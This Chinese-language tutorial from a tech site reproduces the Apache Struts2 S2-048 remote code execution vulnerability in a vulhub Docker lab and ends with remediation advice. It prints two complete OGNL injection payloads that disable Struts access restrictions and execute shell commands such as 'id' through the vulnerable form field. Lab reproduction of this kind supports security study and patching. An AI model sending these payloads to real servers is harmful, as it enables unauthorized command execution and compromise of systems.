怎么进行Apache Struts2--048远程代码执行漏洞复现

发布时间:2022-01-14 22:41:30 作者:柒染
来源:亿速云 阅读:158

这期内容当中小编将会给大家带来有关怎么进行Apache Struts2--048远程代码执行漏洞复现,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

0x00简介

Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。

0x01漏洞概述

Apache Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录,其漏洞成因是当ActionMessage接收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行

0x02影响范围

Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本。

0x03环境搭建

1.自行搭建Apache Struts2较为复杂,本次漏洞环境使用vulhub中的docker环境搭建。

下载地址:https://github.com/vulhub/vulhub

2.下载完成后解压进入s2-048目录,启动漏洞环境

cd cd vulhub-master/struts2/s2-048/    //进入目录

怎么进行Apache Struts2--048远程代码执行漏洞复现

docker-compose up -d  //启动靶场

怎么进行Apache Struts2--048远程代码执行漏洞复现

3.使用docker ps 查看是否启动成功

怎么进行Apache Struts2--048远程代码执行漏洞复现

4.在浏览器输入http:your-ip:8080/hello.action,看到以下页面环境搭建完成

怎么进行Apache Struts2--048远程代码执行漏洞复现

0x04漏洞复现

1. 在浏览器输入以下链接访问漏洞页面

http://192.168.3.160:8080/integration/saveGangster.action

怎么进行Apache Struts2--048远程代码执行漏洞复现

2.在第一个表单“Gangster Name”处输入${1+1},下面随意输入,点击submit提交查看执行了OGNL 表达式

怎么进行Apache Struts2--048远程代码执行漏洞复现

怎么进行Apache Struts2--048远程代码执行漏洞复现

2. 在Gangster Name”处把${1+1}修改为以下命令执行的payload语句

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

怎么进行Apache Struts2--048远程代码执行漏洞复现

怎么进行Apache Struts2--048远程代码执行漏洞复现

3. 也可以使用Burp抓包修改成命令执行的payload的语句

注:payload需要使用URL编码

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

怎么进行Apache Struts2--048远程代码执行漏洞复现

怎么进行Apache Struts2--048远程代码执行漏洞复现

4. 可以使用自动化脚本或图形化工具实现,这里不做演示。

工具可在GitHub上搜索下载

0x05修复建议

1. 升级 建议升级到最新版本

2、根据业务情况,禁用关闭(删除) \struts-2.3.x\apps\struts2-showcase.war包

上述就是小编为大家分享的怎么进行Apache Struts2--048远程代码执行漏洞复现了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注亿速云行业资讯频道。

推荐阅读:
  1. Apache Flink中任意Jar包上传导致远程代码执行漏洞复现问题怎么办
  2. 如何进行Drupal 远程代码执行漏洞CVE-2018-7600的复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

struts2

上一篇:如何进行Apache Struts2 061远程代码执行漏洞复现

下一篇:springboot整合quartz定时任务框架的方法是什么

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》